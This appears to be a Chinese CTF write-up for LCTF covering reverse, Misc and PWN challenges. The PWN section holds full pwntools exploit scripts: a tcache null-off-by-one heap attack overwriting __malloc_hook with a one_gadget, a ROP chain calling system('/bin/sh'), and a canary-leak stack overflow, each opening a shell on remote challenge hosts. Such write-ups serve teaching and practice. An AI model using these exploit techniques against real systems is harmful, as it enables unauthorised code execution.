.cinit:0000C40B .byte 46h ; F
.cinit:0000C40C .byte 30h ; 0
.cinit:0000C40D .byte 30h ; 0
.cinit:0000C40E .byte 30h ; 0
.cinit:0000C40F .byte 30h ; 0

d='2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade'.decode('hex')

def KSA(key):
    keylength = len(key)
    S = range(256)
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]  # swap
    return S

def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  # swap
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(key):
    S = KSA(key)
    return PRGA(S)

def decode(key, plaintext):
    def convert_key(s):
        return [ord(c) for c in s]
    key = convert_key(key)
    keystream = RC4(key)
    d=''
    for c in plaintext:
        d+=chr((ord(c) ^ keystream.next()))
    return d


for x in range(256):
    key = [0,0,0,0]
    key[0] = chr((x*3)%256)
    key[1] = chr((x*2)%256)
    key[2] = chr(((x&0x74)*2)%256)
    key[3] = chr((x+0x50)%256)
    key = ''.join(key)
    print decode('LCTF'+key, d)

Misc

想起「恐怖的回忆」

极速入门 Haskell

Main.hs 为程序入口,先做一个 ord,然后先 encryptoDataencodePicture。先从加密的函数开始读:

-- Crypto.hs
-- 为方便阅读,有些地方修改成伪代码了
module Crypto (encryptoData) where
imports

initIV :: [Int]
initIV = [55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97]

initKey :: [Int]
initKey = [75,111,109,101,105,106,105,83,97,116,111,114,105]

blockLen :: Int
blockLen = 32

paddingData :: Int
paddingData = 5
-- 填充的内容为数字 5

paddingX :: Int -> a -> [a] -> [a]
paddingX n c d = d concat n * c
-- 填充

type Calc = State [Int] [Int]

xorKey :: [Int] -> Int -> Calc
xorKey key n = gets $ \iv ->
    map (xor n) $ zipWith xor iv $
    take (length iv) $ cycle key
-- 先 cycle key 然后取前 32 位,然后对 iv 与 key 逐位 xor

calcData :: Calc
calcData = do
    y <- xorKey initKey 0x39
    return $ map (xor 0xFF) y
-- xorKey 的结果再 xor 0x39 xor 0xff,即 xor 198

encryption :: [Int] -> [Int]
encryption d = evalState calcData d
-- 此函数作为 encodeBlock 的第一个参数传递,注意到 encodeBlock 里传给这个函数的参数为 iv,即 d 为 iv
-- 综合上边俩函数的分析,有 encryption = key .xor iv .xor 198

type DataBlock = Writer [Int] [Int]

initBlock :: [Int] -> DataBlock
initBlock iv = return iv

encodeBlock :: ([Int] -> [Int]) -> DataBlock -> [Int] -> DataBlock
encodeBlock f db msg = db >>= (\iv -> writer (f iv, zipWith xor msg $ f iv ))
-- encryption = cycle_key .xor IV .xor 198
-- 这里只是再 xor msg 然后写入原 list 而已

foldData :: [[Int]] -> DataBlock
foldData list = foldl (encodeBlock encryption) (initBlock initIV) list

setData :: [Int] -> [[Int]]
setData d = warpList blockLen $
    paddingX (32 - len(d) % 32) paddingData d
    -- pading n c d
-- 在原始数据的基础上,padding 到 32 整数倍,padding 内容为数字 5
-- 然后每 32 位分组,成为二维数组

encryptoData :: [Int] -> [Int]
encryptoData d = execWriter $ foldData $ setData d
-- 从右往左分别做填充,加密,并将加密的结果替换(写入)到原list

encryptoData 的加密结果是 (cycle_key .xor IV .xor 198) xor padded_message
现在的问题只剩下读懂 Image.hs,看一下加密后的结果是怎么编码进图片的了:

-- Image.hs,伪代码
module Image (encodePicture) where
imports

type Px = (Int, Int)

bitX :: Int -> Int -> Int
bitX d n = shiftR d n .&. 0x01

splitData :: [Int] -> [Px]
splitData d = func <$> d <*> [6, 4, 2, 0]
    where
        func x y = (bitX x $ y + 1, bitX x y)
-- [(1,1),(1,1),(1,1),(1,1)  --> 二进制, max=255]

data PxMatrix = PxMatrix {
    pxLen :: Int,
    pxEnd :: Int,
    pxData :: [[Px]]
}

matrixData :: Image PixelRGB8 -> [Px] -> PxMatrix
matrixData img pxs = let d = warpList (imageWidth img) pxs
                     in PxMatrix (length d - 1) (length (last d) - 1) d
-- 按图片宽度对上边的二进制数对进行再次分组

matrixAt :: PxMatrix -> Int -> Int -> Px
matrixAt pm x y
    | y > pxLen pm = (0,0)
    | (y == pxLen pm) && (x > pxEnd pm) = (0,0)
    | otherwise = (pxData pm) !! y !! x
-- 矩阵取下标

mixImage :: Image PixelRGB8 -> PxMatrix -> Image PixelRGB8
mixImage img pm = pixelMapXY func img
    where
        up n px = fromIntegral (xor n $ fromIntegral px)
        func x y (PixelRGB8 r g b) = let (r',g') = matrixAt pm x y
                                     in PixelRGB8 (up r' r) (up g' g) b
-- 在 R, G 通道搞事情,B 通道不变
-- R xor 二进制数对第一个数,G xor 第二个数

encodePicture :: FilePath -> FilePath -> [Int] -> IO ()
encodePicture ifp ofp d = readImage ifp >>= \e ->
    case e of
        Left msg -> putStrLn msg
        Right dimg -> let img = convertRGB8 dimg in
            writePng ofp $ mixImage img $
                matrixData img $ splitData d

于是,exp:

from PIL import Image
import numpy as np

I = np.array(Image.open('input.png').convert('RGB'))
O = np.array(Image.open('output.png').convert('RGB'))

i_o_xor = (I ^ O)[:, :, :2]#.swapaxes(0, 1)

data = ''.join(np.where(i_o_xor.reshape(-1) == 1, '1', '0'))[:8*6400]
enc_mat = [int(data[i:i+8], base=2) for i in range(0,len(data),8)]
enc_mat = [enc_mat[i:i+32] for i in range(0, len(enc_mat), 32)]

IV = np.array([55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97])
key = np.array([75,111,109,101,105,106,105,83,97,116,111,114,105,75,111,109,101,105,106,105,83,97,116,111,114,105,75,111,109,101,105,106])
xor_mat1 = IV ^ key ^ 198
xor_mat2 = np.array([55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97])

# ''.join(list(map(chr, list(np.array([xor_mat2 ^ i for n, i in enumerate(enc_mat) if n % 2 else xor_mat1 ^ i]).reshape(-1)))))

plaintext = []
for n, i in enumerate(enc_mat):
    if n % 2:
        xmat = xor_mat2
    else:
        xmat = xor_mat1
    plaintext.append(xmat ^ i)

print(''.join([''.join(map(chr, i)) for i in plaintext]))

刚开始写完 exp 发现只能解出一半的明文,估计是代码哪里读漏了。

发现明文 xor 的对象交替变换,改一下代码,得到明(歌)文(词),LCTF{GameAlwaysOver_TryAgain}

你会玩OSU!么?

从这里看应该不是数位板

看到 CTL-472 的字样,搜了一下好像是绘图板

看来不是鼠标,这个是我的g603,抓下来就是偏移很明显

exp:

data里是这样的数据:

from PIL import Image

img = Image.new("RGB",(0x380,0x300))
pixTuple = (255,0,255,15)
fp = open('data')
while True:
    ch = fp.readline().strip('\n \r')
    if not ch:
        break
    ch = ch.decode('hex')
    print ch[2:4][::-1].encode('hex'),ch[4:6][::-1].encode('hex')
    img.putpixel((int(ch[2:4][::-1].encode('hex'),16)/0x10,int(ch[4:6][::-1].encode('hex'),16)/0x10),pixTuple)

img.save("dump.png")

LCTF{OSU_1S_GUUUD}

PWN

easy heap

libc 2.27

malloc的时候,readn函数有null off by one

exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    # cn = process('./easy_heap')
    cn = remote('0',10002)
    bin = ELF('./easy_heap',checksec=False)
    libc = ELF('./libc_2.27.so',checksec=False)
else:
    cn = remote('118.25.150.134', 6666)
    libc = ELF('./libc_2.27.so',checksec=False)
    pass


def z(a=''):
    if local:
        gdb.attach('easyheap',gdbscript=a,exe='easy_heap')
        if a == '':
            raw_input()

def add(con,size):
    cn.sendlineafter('>','1')
    cn.sendlineafter('>',str(size))
    cn.sendlineafter('>',con)

def dele(idx):
    cn.sendlineafter('>','2')
    cn.sendlineafter('>',str(idx))

def show(idx):
    cn.sendlineafter('>','3')
    cn.sendlineafter('>',str(idx))

for i in range(10):
    add('asd',10)

dele(1) #1

for i in range(3,8):
    dele(i) #2,6

dele(9)#7

dele(8) #small1
dele(2) #s2
dele(0) #s3

for i in range(7):
    add('asd',10)

# now only 3 smallbin 0->2->8
add('',0) # 0
add('',0xf8) # 2 && null off by one
# now only 8 in tcache

for i in range(5):
    dele(i) # tcache 2,6

dele(6) # tcache 7
dele(5) #small trigger unlink

for i in range(7):
    add('asd',10)
show(8)
cn.recvuntil('> ')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x3ebc40-96
success('lbase: '+hex(lbase))
# raw_input()
freehook = lbase+libc.sym['__free_hook']
mallochook = lbase+libc.sym['__malloc_hook']
system = lbase+libc.sym['system']
one = lbase+0x10a38c
add('OOOO',10)
dele(7)
dele(8)
dele(9)

add(p64(mallochook),10)
add(p64(mallochook),10)

add(p64(one),10)

# z('b free\nb execve\nc')
dele(0) #hook
add('asd',0x10)
# z()

cn.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

pwn4fun

看着像个三国杀游戏。。。发现注册的地方如果可以注册满10次就能覆盖fl4g字符串,登录的时候可以溢出覆盖v3就能跑get_flag函数
游戏获胜有一个4字节的fmt,但游戏并不能胜利所以没啥用,一个思路是如何多次login,按照正常流程应该只有两次机会,到最后也没有发现有啥方法,应该是不行
注意下卡片的种类只有三种,p,a,g,而且在弃牌回合里有问题,第二个循环没检查下限。。。考虑了下可以把ag往前挪覆盖fl4g
首先不停重启找到一把合适的,即一步就可以直接有1 Attack 2 Guard这种情况的,然后首先保持自己不死(1血吃桃),尽量屯牌,敌人打你的时候不要防御就可以连续弃牌了,第一次随便弃牌,第二次输入-5
连续5次后就可以ctrl+C继续跑脚本,得到flag(当然也可以写脚本,思路差不多,先找AG,然后不要防守就行了,连续弃牌就行了)

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./sgs')
    bin = ELF('./sgs')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('212.64.75.161',2333)
    bin = ELF('./sgs')
    #libc = ELF('')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


cn.sendline('')
cn.sendlineafter('sign (I)n or sign (U)p?','I')
cn.sendlineafter('input your name','admin\x00aa')

cn.interactive()

cn.sendline("I")
cn.sendlineafter('input your name','admin\x00aa')
cn.interactive()

echos

read 超长到末尾以后会返回-1,然后就能不断往前写

先帖一下本地exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./echos')
    bin = ELF('./echos',checksec=False)
    libc = ELF('./libc64.so',checksec=False)
else:
    # cn = remote('172.81.214.122', 6666)
    cn = remote('0',10003)
    bin = ELF('./echos',checksec=False)
    libc = ELF('./libc64.so',checksec=False)
    pass


def z(a=''):
    if local:
        gdb.attach(cn,a)
        if a == '':
            raw_input()

prdi=0x00000000004013c3
prsi_r15=0x00000000004013c1
gadget=0x00000000004013bd  # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
readn=0x00000000004011A6
pay = '8000\x00\x00\x00\x00' #r12
pay+=p64(0)*3
pay+=p64(gadget) + p64(0x0000000000403440) #rsp

cn.sendlineafter('size',pay)

size=0x3c0
sleep(0.2)
pay = p64(0x00000000004013B6)+p64(0x0000000000401190)
pay = pay.ljust(0x440-size,'a')
pay+=p64(0)*3
pay+=p64(prdi)+p64(bin.got['read'])+p64(bin.plt['puts'])
pay+=p64(prdi)+p64(bin.got['exit'])+p64(prsi_r15)+p64(0x10)*2+p64(readn)
pay+=p64(prdi)+p64(0x4034b8)+p64(bin.plt['exit'])+'/bin/sh\x00'
pay = pay.ljust(0x1000-size,'a')[:-1]
pay+='\n'
cn.send(pay)

cn.recvuntil(':')
cn.recvuntil(':\n')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['read']
success('lbase: '+hex(lbase))
system = libc.sym['system']+lbase
cn.sendline(p64(system))

cn.interactive()

LCTF{sw_1s_coooooool!}

just_pwn

exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    bin = ELF('./just_pwn_p',checksec=False)
    cn2 = process('./just_pwn_p')
    cn = process('./just_pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    bin = ELF('./just_pwn_p',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    cn2 = process('./just_pwn_p')
    cn = remote('118.25.148.66', 2333)
    pass


def z(a=''):
    if local:
        gdb.attach(cn,a)
        if a == '':
            raw_input()

# login
cn2.sendlineafter('it','1')
cn2.recvuntil(':\n')
token = cn2.recvuntil('\n')[:-1]
success(token)
cn2.close()

cn.sendlineafter('it','2')
cn.sendlineafter(':',token)

# canary
cn.sendlineafter('developer','3')
for i in range(10):
    cn.sendlineafter('confirm','n')
# z('b read\nc')
cn.sendlineafter('confirm','y')

cn.sendafter(':','a'*9)
cn.recvuntil('a'*9)
canary = u64('\x00'+cn.recv(7))
success('canary: '+hex(canary))
stack = u64(cn.recv(6).ljust(8,'\x00'))
success('stack: '+hex(stack)) # offset +0x40

cn.sendlineafter('developer','3')
cn.sendlineafter('confirm','y')
cn.sendafter(':','a'*0x40)
cn.recvuntil('a'*0x40)
lbase = u64(cn.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdout_']
success('lbase: '+hex(lbase))

####################
# z('c')
cn.sendlineafter('developer','1')
cn.sendlineafter('?',str(0x20))
#content fake head
pay = p64(0)+p64(0x51)
cn.sendlineafter(':',pay)
# overflow to ptr
stack+=0x50
success('stack: '+hex(stack))
pay = 'W'*32+p64(stack+0x10)
cn.sendlineafter(':',pay)

one = lbase+0x45216

cn.sendlineafter('confirm','n')
cn.sendlineafter('confirm','y')
cn.sendlineafter('?',str(0x48))
pay = 'a'*0x18+p64(canary)+p64(0)*3+p64(one)
cn.sendlineafter(':',pay)
cn.sendlineafter(':','asd')



cn.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL


'''
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
    cn = process('./just_pwn.bak')
    p = process('./just_pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('118.25.148.66',2333)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

p.sendline('1')
p.recvuntil('These is your secretcode:\n')
s = p.recvline()
p.close()

cn.sendline('2')
cn.send(s)

cn.sendline('3')

for i in range(5):
    cn.sendline('n')

cn.sendline('y')

cn.sendlineafter('software:','a'*8)

cn.recvuntil('aaaaaaaa\n')

canary = u64(cn.recv(7).rjust(8,'\x00'))
success('canary:' + hex(canary))
stack = u64(cn.recv(6).ljust(8,'\x00'))
success('stack:' + hex(stack))

cn.sendline('3')

cn.sendline('y')
cn.sendline('a' * 0x7)
cn.recvuntil('a' *0x7 + '\n')
lbase = u64(cn.recv(6).ljust(8,'\x00'))-0x78BFF
success('lbase:' + hex(lbase))

cn.sendline('1')
cn.sendlineafter('How long is your message?','32')

buf = '\x00'*0x10
buf+= p64(0) + p64(0x81)[:-1]

cn.sendafter('message:',buf)

buf = p64(0x11)
buf+= p64(0) + p64(0x11)
buf+= p64(0) + p64(stack+0x70)

cn.sendafter('title of your message:',buf)

cn.sendafter('y to confirm','n')

cn.sendafter('y to confirm','y')

cn.sendlineafter('How long',str(0x78))

one = lbase + 0xf02a4
buf = p64(0) + p64(canary) + '\x00' * 0x10
buf+= 'b' * 8 + p64(one)

cn.sendlineafter('message:',buf)
print(hex(one))

cn.sendlineafter('message:','aaa')

cn.interactive()


#guest_account:0004;guestname:user

'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL


'''
0 条评论
某人
表情
可输入 255